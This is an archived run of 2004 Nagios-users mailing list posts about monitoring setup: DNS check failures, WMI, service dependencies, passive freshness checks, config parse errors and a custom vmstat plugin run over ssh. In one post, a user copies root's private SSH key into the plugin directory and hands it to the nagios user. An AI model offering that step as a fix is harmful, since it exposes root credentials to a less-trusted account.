<1079990096.2662.29.camel@sabaki.dcs.uci.edu> Message-ID: <405F67F0.4020605@op5.se> Dan Stromberg wrote: > On Mon, 2004-03-22 at 13:05, Andreas Ericsson wrote: > >>Dan Stromberg wrote: >> >>>So my question is, what would it take to make nagios' host up notices be >>>sent as replies to host down warnings in a way that would allow mutt, >>>evolution, and other threaded mailreaders to put the two mail messages >>>right next to each other in my (and your) mailbox like your usual >>>threaded discussion? >>> >> >>Basically that you write your own notification script. This isn't really >>hard at all, assuming mutt (or whatever) threads by >>'Re: ' >> >>I have one lying around that would be easy to modify to do what you >>want. I'll post a version someday when I've found the time to remove the >>integrations to proprietary software (ticket handling, inventory >>systems) we use. > > > Threading on subject would be good enough for my purposes, but I was > thinking more in terms of threading on these headers, which tend to give > more accurate threading: > > References: <1079987765.2662.16.camel at sabaki.dcs.uci.edu> > In-Reply-To: <1079987765.2662.16.camel at sabaki.dcs.uci.edu> > > I pulled these out of your reply to me. > > Seems like it might mean storing the message-id somewhere. In fact, > given that normally I think sendmail fills that header in, it might mean > the notification script would have to generate its own message-id, in > order to be able to store it somewhere. > > Is this sounding reasonable? > Yup. Adding headers isn't very hard with the default unix mail-package. > What about service checks? > What about them? The same script can be used for both types of notifications, and it shouldn't be too hard to get a unique message id for services as well as for hosts (md5sum comes to mind). -- Mvh Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 23 00:03:14 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Mon, 22 Mar 2004 18:03:14 -0500 (EST) Subject: check_dns problems In-Reply-To: References: Message-ID: On Mon, 22 Mar 2004, Robert Nelson wrote: > Hello, > > I've used the check_dns plugin for quite awhile now at another job, and > it worked flawlessly. When I got to my current job, I threw up Nagios > and lo and behold, the first two services I put in to showcase the > system were DNS and are showing red nearly all the time. Whoops! > > I'm using check_dns on two freeBSD servers. Check_dns is reporting an > effective downtime of 99% (the few times I get a recovery notice, I also > get a failure notice within 5-10 minutes). At the same time, our entire > office uses these two DNS servers exclusively, as well as all our > clients, and no-one reports any DNS problems. > > This has been going on for nearly a month now. I can't explain it at > all. Using check_dns from the command line rapidly (up arrow, enter, up > arrow, enter, etc.) gives me *maybe* a 2 in 10 failure rate. Doing > nslookup's to the same servers gives possibly a 1/100 failure, altho > some queries take more than the 10 seconds that the plugin times out in. > At the same time, constant pings between the nagios and DNS servers work > 100%. I have this problem with BOTH dns servers. > > Setup is... > > Nagios: > Nagios v1.2 > check_dns (nagios-plugins 1.3.1) 1.8.2.3 > Red Hat v8.0 > Apache 2.0.4 > > DNS Servers: > FreeBSD 4.7-RELEASE-p3 > named 8.3.3-REL > > Thanks! > Do you have query logging enabled on the DNS servers and can see the relative timing of the requests? Are the check_dns checks for authoritative or recursive records? Any problems with load on nagios or the dns systems? -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 23 00:06:20 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Mon, 22 Mar 2004 18:06:20 -0500 (EST) Subject: WMI In-Reply-To: References: Message-ID: On Mon, 22 Mar 2004 Matthew.Quinney at hollandandholland.com wrote: > Morning all ! > > Is anybody monitoring any Windows servers via WMI from Nagios on Linux ? I > need a way to check if a scheduled task is running and thought that this > would be the best way forward. > > Thanks ! > > Matthew I am writing a bunch of WMI stuff in perl at the moment. These are win32 plugins that need to be lauched from a win32 platform. My env has a nrep_nt agent launching all these checks... Do you want to check this using the current process list (a la check_proc)? -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 23 00:21:47 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Mon, 22 Mar 2004 18:21:47 -0500 (EST) Subject: Reporting Question In-Reply-To: <263BA4045D3FA84D9C1B09F5F959B9B60122C04B@picasso.rb.net> References: <263BA4045D3FA84D9C1B09F5F959B9B60122C04B@picasso.rb.net> Message-ID: On Mon, 22 Mar 2004, Jennifer Fountain wrote: > Does anyone have a script or info on how to create a report that will > show the state of a service at each check? I would like to export this > report to excel and create line graphs, etc. > > For example, I have a test that opens a webpage and then spits out the > amount of time it took to run the webpage. I want to graph the numbers > (listed in status information) so I can see if the time is spiking. > Actually, you will want to turn on perfdata for this. Only failed tests will show up in the log files for Nagios 1.x - not the successful ones. Now if Ethan would bring back the log_level option from Netsaint that would be different. Also the perfdata output is not stable in 1.3x - and is being stabilized at 1.4 -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Tue Mar 23 01:01:29 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Mon, 22 Mar 2004 19:01:29 -0500 Subject: check_dns problems Message-ID: > Do you have query logging enabled on the DNS servers and can see the > relative timing of the requests? Do not know, I'll check on that tomorrow > Are the check_dns checks for authoritative or recursive records? Either or or. check_dns by default is www.yahoo.com, but I've tried the manual check_dns and nslookup tests I described with both types of records, same every time. > Any problems with load on nagios or the dns systems? Nope, neither load nor waiting on IO seems high. I've also checked to make sure the addresses do proper reverse lookups, which they do for both machines. Rob Nelson rnelson at windchannel.com ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From eblumenau at techtvcorp.com Tue Mar 23 01:11:51 2004 From: eblumenau at techtvcorp.com (Eric Blumenau) Date: Mon, 22 Mar 2004 16:11:51 -0800 Subject: service dependencies Message-ID: <405F80C7.6040102@techtvcorp.com> Hello, I'm trying to incorporate service dependencies into my service checks. Here is my only dependency so far: define servicedependency { host_name serveriron service_description Aliveness dependent_host_name adm1 dependent_service_description * execution_failure_criteria w,u,c notification_failure_criteria w,u,c } /* Translation: If our connection to the outside world isn't alive, don't bother executing or notifying the rest of the checks. */ When I use 'nagios -v' on my config file, I get: Checking service dependencies... Error: Service specified in service dependency for service 'disk space on /' on host 'adm1' is not defined anywhere! Error: Service specified in service dependency for service 'disk space on /' on host 'adm1' is not defined anywhere! Error: Service specified in service dependency for service '/tmp disk space on adm1-colo' on host 'adm1' is not defined anywhere! Error: Service specified in service dependency for service '/tmp disk space on adm1-colo' on host 'adm1' is not defined anywhere! And many more lines, where each existing service check on adm1 gets repeated twice. Yet, they *are* all defined, earlier in the same file! # Service definition define service{ use 24x7-service ; Name of service template to use host_name adm1 service_description disk space on / is_volatile 0 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups defcon5 notification_interval 30 notification_options w,u,c,r check_command check_disk!95 98 /dev/dsk/c0t0d0s0 } where '24x7-service' is defined at the head of the file as... define service{ name 24x7-service ; The 'name' of this service template, referenced in other service definitions active_checks_enabled 1 ; Active service checks are enabled passive_checks_enabled 1 ; Passive service checks are enabled/accepted parallelize_check 1 ; Active service checks should be parallelized (disabling thi s can lead to major performance problems) obsess_over_service 1 ; We should obsess over this service (if necessary) check_freshness 0 ; Default is to NOT check service 'freshness' notifications_enabled 1 ; Service notifications are enabled event_handler_enabled 1 ; Service event handler is enabled flap_detection_enabled 1 ; Flap detection is enabled process_perf_data 1 ; Process performance data retain_status_information 1 ; Retain status information across program restarts retain_nonstatus_information 1 ; Retain non-status information across program restarts check_period 24x7 notification_period 24x7 register 0 ; DONT REGISTER THIS DEFINITION - ITS NOT A REAL SERVICE, JUS T A TEMPLATE! } The service checks themselves have been in production use for many months, so I'm pretty confident that the services are defined correctly. I'm using Nagios 1.0. I've searched this mailing list, and the Web, but haven't found this problem or a solution. Thanks, Eric ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From joshua.smith at globeshoes.com Tue Mar 23 03:12:33 2004 From: joshua.smith at globeshoes.com (Joshua Smith) Date: Mon, 22 Mar 2004 18:12:33 -0800 Subject: freshness checking of passive devices Message-ID: Yes, you should set the "check_period" parameter in your services.cfg to "workhours", which is defined as 9am to 5pm in your timeperiods.cfg. And while you are at it, you might as well change your "notification_period" to "workhours" as well. cheers! Joshua M Smith Jr. Network Administrator Globe Int Ltd Phone: 310-297-1640 Email : Joshua.Smith at globeshoes.com * * * * * * Globe Int Ltd 225 S. Aviation El Segundo, CA 90245 310.297.1600 -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Jack Doyle Sent: Monday, March 22, 2004 1:02 PM To: nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] freshness checking of passive devices I don't use any passive checking, so forgive me if I'm wrong.. but can't you set the time period on the services to be that of when you want them checked? ----- John N. Doyle, Network+ Certified Professional Systems Operations Specialist Lewis-Gale Clinic Information Systems 540.772.3669 >PGP Key Available: http://68.106.83.67:8082/pgp.txt -----Original Message----- From: David Barnett [mailto:DavidB at etobin.com] Sent: Monday, March 22, 2004 3:58 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] freshness checking of passive devices I am using Nagios to monitor some workstations that are active from 9 to 5 but shut down otherwise. I am monitoring these workstations passively using the NSCA add-on and I check the freshness by having a check command like in the documentation. However, when the workstations shut down at 5, the passive checks stop coming, as they should. After 30 minutes of no passive checks, Nagios runs the active check of check_freshness.sh, and reports the services as critical because they haven't checked in for 30 minutes. I don't want it to run this check because the device should be off. Also, when the workstations start up in the morning and check in, I get notifications saying the services have recovered, when in reality they never really went down in the first place. Is there way to not have it run the active check after a certain time? Or in the script is there a way to check the current time and not return anything if it isn't between 9 and 5? Thanks for any help. David -------------- next part -------------- An HTML attachment was scrubbed... URL: From duncan.robertson at vsl.com.au Tue Mar 23 04:27:22 2004 From: duncan.robertson at vsl.com.au (Duncan Robertson) Date: Tue, 23 Mar 2004 14:27:22 +1100 Subject: Another Windows Monitoring Option (Event Log) Message-ID: <1080012442.21960.260.camel@scion.vsl.com.au> Hi, I have just joined the list to keep up with nagios config ideas. keep up the good work! anyway, whilst looking around for ways to monitor Event Viewer stuff on windows 2000 I found this handy service: https://engineering.purdue.edu/ECN/Resources/Documents/UNIX/evtsys An excellent, simple EventViewer-->syslog converter that works very well with the syslog-ng running on our nagios machine - with this and "check_log" stuff in the Event Viewer should be monitorable (I am still logging enough raw logs to collect the "alarm" strings we need). >From reading the archives I can see others have offered snmp based solutions, but I thought I'd just add another idea I haven't seen mentioned. This is also handy for aggregating the logs of windows machines anyway. -- Duncan Robertson System Administrator Vision Systems Limited phone: (+61)392117024 email: duncan.robertson at vsl.com.au ============================================ IMPORTANT - This e.mail and any attachments may be confidential. Any retransmissions, dissemination or other use of these materials by persons or entities other than the intended recipient is prohibited. If received in error, please contact us and delete all copies. Before opening or using attachments, check them for viruses and defects. Our liability is limited to resupplying any affected attachments. [Any representations or opinions expressed in this e.mail are those of the individual sender, and not necessarily those of Vision Systems Limited]. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From neil-on-nagios at restricted.dyndns.org Tue Mar 23 08:08:22 2004 From: neil-on-nagios at restricted.dyndns.org (Neil) Date: Tue, 23 Mar 2004 01:08:22 -0600 Subject: vmstat - custom plugin Message-ID: <20040323070822.99781.qmail@restricted.dyndns.org> hey guys, I wrote my own plugin for checking a solaris machine's user, system and idle cpu utilization. If I execute this line in console: VALUE=`/usr/bin/ssh -l $USER $HOSTADDR vmstat 3 2 | awk 'NR > 3'` then i echo $VALUE, I am able to see vmstat results. Of course $USER and $HOSTADDR is set with the user and ip address of the remote ssh server. But my script below doesn't work. I get an empty $VALUE. I have already done this inside my script: echo HOST=$1 TIME=$2 WARN=$3 CRIT=$4 USER=$5 HOSTADDR=$6 >> /tmp/debug.log then I do a tail -f /tmp/debug.log and YES, all the variables are populated properly. Any ideas? One more, there is no way I can install nagios-statd :( Thanks in advance. ---------------------code-starts-here-------------- #!/bin/sh #Read arguments from the command-line HOST=$1 TIME=$2 WARN=$3 CRIT=$4 USER=$5 HOSTADDR=$6 RETVAL=0 RETSTR="" ERR=0 VALUE=`/usr/bin/ssh -l $USER $HOSTADDR vmstat 3 2 | awk 'NR > 3'` RESULT=$? RETSTR="vmstat 3sec interval results: $VALUE" echo $RETSTR >> /tmp/datalog toRRDdbuser=`echo $VALUE|awk '{print $20}'` toRRDdbsystem=`echo $VALUE|awk '{print $21}'` toRRDdbidle=`echo $VALUE|awk '{print $22}'` CPU_idle=`echo $VALUE|awk '{print $22}'` if [ $RESULT -gt 0 ]; then RETVAL=3 RETSTR="Socket Error" ERR=1 break fi if [ $CPU_idle -le $CRIT ]; then RETVAL=2 elif [ $CPU_idle -le $WARN ] && [ $RETVAL != 2 ]; then RETVAL=1 fi /usr/local/bin/rrdtool update /usr/local/nagios/rrd/unixsystem_on_$HOST.rrd $TIME:$toRRDdbuser:$toRRDdbsystem:$toRRDdbidle echo $RETSTR exit $RETVAL ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From neil-on-nagios at restricted.dyndns.org Tue Mar 23 08:23:45 2004 From: neil-on-nagios at restricted.dyndns.org (Neil) Date: Tue, 23 Mar 2004 01:23:45 -0600 Subject: vmstat - custom plugin [CASE CLOSED] In-Reply-To: <20040323070822.99781.qmail@restricted.dyndns.org> References: <20040323070822.99781.qmail@restricted.dyndns.org> Message-ID: <20040323072345.1138.qmail@restricted.dyndns.org> I got it working guys. 1. I copied /root/.ssh/id_dsa to /usr/local/nagios/libexec 2. chown nagios:nagios /usr/local/nagios/libexec/id_dsa 3. I modified my ssh to include -i /usr/local/nagios/libexec/id_dsa :) Neil writes: > hey guys, > > I wrote my own plugin for checking a solaris machine's user, system and > idle cpu utilization. > > If I execute this line in console: > VALUE=`/usr/bin/ssh -l $USER $HOSTADDR vmstat 3 2 | awk 'NR > 3'` > > then i echo $VALUE, I am able to see vmstat results. Of course $USER and > $HOSTADDR is set with the user and ip address of the remote ssh server. > > But my script below doesn't work. I get an empty $VALUE. > > I have already done this inside my script: > echo HOST=$1 TIME=$2 WARN=$3 CRIT=$4 USER=$5 HOSTADDR=$6 >> /tmp/debug.log > > then I do a tail -f /tmp/debug.log and YES, all the variables are > populated properly. > > Any ideas? > > One more, there is no way I can install nagios-statd :( > > Thanks in advance. > > > ---------------------code-starts-here-------------- > #!/bin/sh > > #Read arguments from the command-line > HOST=$1 > TIME=$2 > WARN=$3 > CRIT=$4 > USER=$5 > HOSTADDR=$6 > > RETVAL=0 > RETSTR="" > > ERR=0 > > VALUE=`/usr/bin/ssh -l $USER $HOSTADDR vmstat 3 2 | awk 'NR > > 3'` > RESULT=$? > RETSTR="vmstat 3sec interval results: $VALUE" > echo $RETSTR >> /tmp/datalog > > toRRDdbuser=`echo $VALUE|awk '{print $20}'` > toRRDdbsystem=`echo $VALUE|awk '{print $21}'` > toRRDdbidle=`echo $VALUE|awk '{print $22}'` > CPU_idle=`echo $VALUE|awk '{print $22}'` > > if [ $RESULT -gt 0 ]; then > RETVAL=3 > RETSTR="Socket Error" > ERR=1 > break > fi > if [ $CPU_idle -le $CRIT ]; then > RETVAL=2 > elif [ $CPU_idle -le $WARN ] && [ $RETVAL != 2 ]; then > RETVAL=1 > fi > > /usr/local/bin/rrdtool update > /usr/local/nagios/rrd/unixsystem_on_$HOST.rrd > $TIME:$toRRDdbuser:$toRRDdbsystem:$toRRDdbidle > > echo $RETSTR > exit $RETVAL > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk being > sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Matthew.Quinney at hollandandholland.com Tue Mar 23 10:20:14 2004 From: Matthew.Quinney at hollandandholland.com (Matthew.Quinney at hollandandholland.com) Date: Tue, 23 Mar 2004 09:20:14 +0000 Subject: WMI In-Reply-To: References: Message-ID: Subhendu, Yes. I'm hoping to see whether some scheduled tasks are running - Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set colItems = objWMIService.ExecQuery("Select * from Win32_Process",,48) How far have you got - maybe I could help...? Thanks M I am writing a bunch of WMI stuff in perl at the moment. These are win32 plugins that need to be lauched from a win32 platform. My env has a nrep_nt agent launching all these checks... Do you want to check this using the current process list (a la check_proc)? -- -sg _____________________________________________________________________ This e-mail has been scanned for viruses by the uuNet Internet Managed Scanning Service - powered by MessageLabs. -------------- next part -------------- An HTML attachment was scrubbed... URL: From rob.le at gmx.de Tue Mar 23 10:22:01 2004 From: rob.le at gmx.de (rob.le at gmx.de) Date: Tue, 23 Mar 2004 10:22:01 +0100 (MET) Subject: "Error in configuration file"..."Line 34 (NULL value)" Message-ID: <12659.1080033721@www62.gmx.net> Hello , I'm a newby in nagios and have a problem with the nagios configuration file: I use SuSE9.0 and its nagios-package nagios-1.1-78. A Minimal-Sample-Configuration file is part of this package. If I try to start nagios with: nagios -v /etc/nagios/nagios.cfg (after renaming the sample-file to nagios.cfg), i get the following error: ----- Reading configuration data... Error in configuration file '/etc/nagios/nagios.cfg' - Line 34 (NULL value) ***> One ore mor problems was encountered....(etc,etc). ------- In Line 34, the timeperiod-definition begins. I can't find any hints, neither in the documentations nor with google. I hope that somone can help me. Thank you Robert nagios.cfg: ############################################################################### # MINIMAL.CFG # # MINIMALISTIC OBJECT CONFIG FILE (Template-Based Object File Format) # # Last Modified: 10-03-2002 # # # NOTE: This config file is intended to be used to test a Nagios installation # that has been compiled with support for the template-based object # configuration files. # # This config file is intended to servce as an *extremely* simple # example of how you can create your object configuration file(s). # If you're interested in more complex object configuration files for # Nagios, look in the sample-config/template-object/ subdirectory of # the distribution. # ############################################################################### ############################################################################### ############################################################################### # # TIME PERIODS # ############################################################################### ############################################################################### # This defines a timeperiod where all times are valid for checks, # notifications, etc. The classic "24x7" support nightmare. :-) define timeperiod { timeperiod_name 24x7 alias 24 Hours A Day, 7 Days A Week sunday 00:00-24:00 monday 00:00-24:00 tuesday 00:00-24:00 wednesday 00:00-24:00 thursday 00:00-24:00 friday 00:00-24:00 saturday 00:00-24:00 } #timeperiod[24x7]=24 hours a day, 7 Days a week;00:00-24:00;00:00-24:00;00:00-24:00;00:00-24:00;00:00-24:00;00:00-24:00;00:00-24:00 ############################################################################### ############################################################################### # # COMMANDS # ############################################################################### ############################################################################### # This is a sample service notification command that can be used to send email # notifications (about service alerts) to contacts. define command{ command_name notify-by-email command_line /usr/bin/printf "%b" "***** Nagios *****\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService: $SERVICEDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: $SERVICESTATE$\n\nDate/Time: $DATETIME$\n\nAdditional Info:\n\n$OUTPUT$" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ alert - $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **" $CONTACTEMAIL$ } # This is a sample host notification command that can be used to send email # notifications (about host alerts) to contacts. define command{ command_name host-notify-by-email command_line /usr/bin/printf "%b" "***** Nagios *****\n\nNotification Type: $NOTIFICATIONTYPE$\nHost: $HOSTNAME$\nState: $HOSTSTATE$\nAddress: $HOSTADDRESS$\nInfo: $OUTPUT$\n\nDate/Time: $DATETIME$\n" | /usr/bin/mail -s "Host $HOSTSTATE$ alert for $HOSTNAME$!" $CONTACTEMAIL$ } # Command to check to see if a host is "alive" (up) by pinging it define command{ command_name check-host-alive command_line /bin/check_ping -H $HOSTADDRESS$ -w 99,99% -c 100,100% -p 1 } # Generic command to check a device by pinging it define command{ command_name check_ping command_line $USER1$/check_ping -H $HOSTADDRESS$ -w $ARG1$ -c $ARG2$ -p 5 } # Command used to check disk space usage on local partitions define command{ command_name check_local_disk command_line $USER1$/check_disk -w $ARG1$ -c $ARG2$ -p $ARG3$ } # Command used to check the number of currently logged in users on the # local machine define command{ command_name check_local_users command_line $USER1$/check_users -w $ARG1$ -c $ARG2$ } # Command to check the number of running processing on the local machine define command{ command_name check_local_procs command_line $USER1$/check_procs -w $ARG1$ -c $ARG2$ } # Command to check the load on the local machine define command{ command_name check_local_load command_line $USER1$/check_load -w $ARG1$ -c $ARG2$ } ############################################################################### ############################################################################### # # CONTACTS # ############################################################################### ############################################################################### # In this simple config file, a single contact will receive all alerts. # This assumes that you have an account (or email alias) called # "daemon-admin" on the local host. define contact{ contact_name daemon-admin alias Nagios Admin service_notification_period 24x7 host_notification_period 24x7 service_notification_options w,u,c,r host_notification_options d,r service_notification_commands notify-by-email host_notification_commands host-notify-by-email email daemon-admin at localhost } ############################################################################### ############################################################################### # # CONTACT GROUPS # ############################################################################### ############################################################################### # We only have one contact in this simple configuration file, so there is # no need to create more than one contact group. define contactgroup{ contactgroup_name admins alias Nagios Administrators members daemon-admin } ############################################################################### ############################################################################### # # HOSTS # ############################################################################### ############################################################################### # Generic host definition template - This is NOT a real host, just a template! define host{ name generic-host ; The name of this host template notifications_enabled 1 ; Host notifications are enabled event_handler_enabled 1 ; Host event handler is enabled flap_detection_enabled 1 ; Flap detection is enabled failure_prediction_enabled 1 ; Failure prediction is enabled process_perf_data 1 ; Process performance data retain_status_information 1 ; Retain status information across program restarts retain_nonstatus_information 1 ; Retain non-status information across program restarts register 0 ; DONT REGISTER THIS DEFINITION - ITS NOT A REAL HOST, JUST A TEMPLATE! } # Since this is a simple configuration file, we only monitor one host - the # local host (this machine). define host{ use generic-host ; Name of host template to use host_name localhost alias localhost address 127.0.0.1 check_command check-host-alive max_check_attempts 10 notification_interval 120 notification_period 24x7 notification_options d,r } ############################################################################### ############################################################################### # # HOST GROUPS # ############################################################################### ############################################################################### # We only have one host in our simple config file, so there is no need to # create more than one hostgroup. define hostgroup{ hostgroup_name test alias Test Servers contact_groups admins members localhost } ############################################################################### ############################################################################### # # SERVICES # ############################################################################### ############################################################################### # Generic service definition template - This is NOT a real service, just a template! define service{ name generic-service ; The 'name' of this service template active_checks_enabled 1 ; Active service checks are enabled passive_checks_enabled 1 ; Passive service checks are enabled/accepted parallelize_check 1 ; Active service checks should be parallelized (disabling this can lead to major performance problems) obsess_over_service 1 ; We should obsess over this service (if necessary) check_freshness 0 ; Default is to NOT check service 'freshness' notifications_enabled 1 ; Service notifications are enabled event_handler_enabled 1 ; Service event handler is enabled flap_detection_enabled 1 ; Flap detection is enabled failure_prediction_enabled 1 ; Failure prediction is enabled process_perf_data 1 ; Process performance data retain_status_information 1 ; Retain status information across program restarts retain_nonstatus_information 1 ; Retain non-status information across program restarts register 0 ; DONT REGISTER THIS DEFINITION - ITS NOT A REAL SERVICE, JUST A TEMPLATE! } # Define a service to "ping" the local machine define service{ use generic-service ; Name of service template to use host_name localhost service_description PING is_volatile 0 check_period 24x7 max_check_attempts 4 normal_check_interval 5 retry_check_interval 1 contact_groups admins notification_interval 960 notification_period 24x7 check_command check_ping!100.0,20%!500.0,60% } # Define a service to check the disk space of the root partition # on the local machine. Warning if < 20% free, critical if # < 10% free space on partition. define service{ use generic-service ; Name of service template to use host_name localhost service_description Root Partition is_volatile 0 check_period 24x7 max_check_attempts 4 normal_check_interval 5 retry_check_interval 1 contact_groups admins notification_interval 960 notification_period 24x7 check_command check_local_disk!20%!10%!/ } # Define a service to check the number of currently logged in # users on the local machine. Warning if > 20 users, critical # if > 50 users. define service{ use generic-service ; Name of service template to use host_name localhost service_description Current Users is_volatile 0 check_period 24x7 max_check_attempts 4 normal_check_interval 5 retry_check_interval 1 contact_groups admins notification_interval 960 notification_period 24x7 check_command check_local_users!20!50 } # Define a service to check the number of currently running procs # on the local machine. Warning if > 250 processes, critical if # > 400 users. define service{ use generic-service ; Name of service template to use host_name localhost service_description Total Processes is_volatile 0 check_period 24x7 max_check_attempts 4 normal_check_interval 5 retry_check_interval 1 contact_groups admins notification_interval 960 notification_period 24x7 check_command check_local_procs!250!400 } # Define a service to check the load on the local machine. define service{ use generic-service ; Name of service template to use host_name localhost service_description Current Load is_volatile 0 check_period 24x7 max_check_attempts 4 normal_check_interval 5 retry_check_interval 1 contact_groups admins notification_interval 960 notification_period 24x7 check_command check_local_load!5.0,4.0,3.0!10.0,6.0,4.0 } # EOF -- +++ NEU bei GMX und erstmalig in Deutschland: T?V-gepr?fter Virenschutz +++ 100% Virenerkennung nach Wildlist. Infos: http://www.gmx.net/virenschutz ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From carl.inglis at total-recruitment.co.uk Tue Mar 23 10:48:34 2004 From: carl.inglis at total-recruitment.co.uk (Carl Inglis) Date: Tue, 23 Mar 2004 09:48:34 -0000 Subject: Hostgroup Availability Report Message-ID: <11D54CEC2A9E954FB1E2F96FB459075D161B60@total.total-1> ( Hopefully I've got the right darn email address this time - Apologies to the list mods ) Nagios 1.2, on Slackware Linux, using check_ping to check hosts, and with check_fping as a service on each host. [ Fixed pitch font ] Host % Time Up % Time Down % Time Unreachable % Time Undetermined svr-accounts 0.000% (0.000%) 0.000% (0.000%) 0.000% (0.000%) 100.000% That host has been up and down during the time period covered. All my hosts are reported as 100% Undetermined. Can anyone give me any pointers as to what I've overlooked? Thanks, Carl -- Carl C. Inglis IT Systems Administrator Total Recruitment/Skillwise Ltd. Help Desk: 01724 273350 -------------------------------------------------------------------------------------------------------------------- This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the originator of the message. This footer also confirms that this email message has been scanned for the presence of computer viruses. Any views expressed in this message are those of the individual sender, except where the sender specifies and with authority, states them to be the views of Total Recruitment Group. Scanning of this message and addition of this footer is performed by SurfControl SuperScout Email Filter software in conjunction with virus detection software. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux 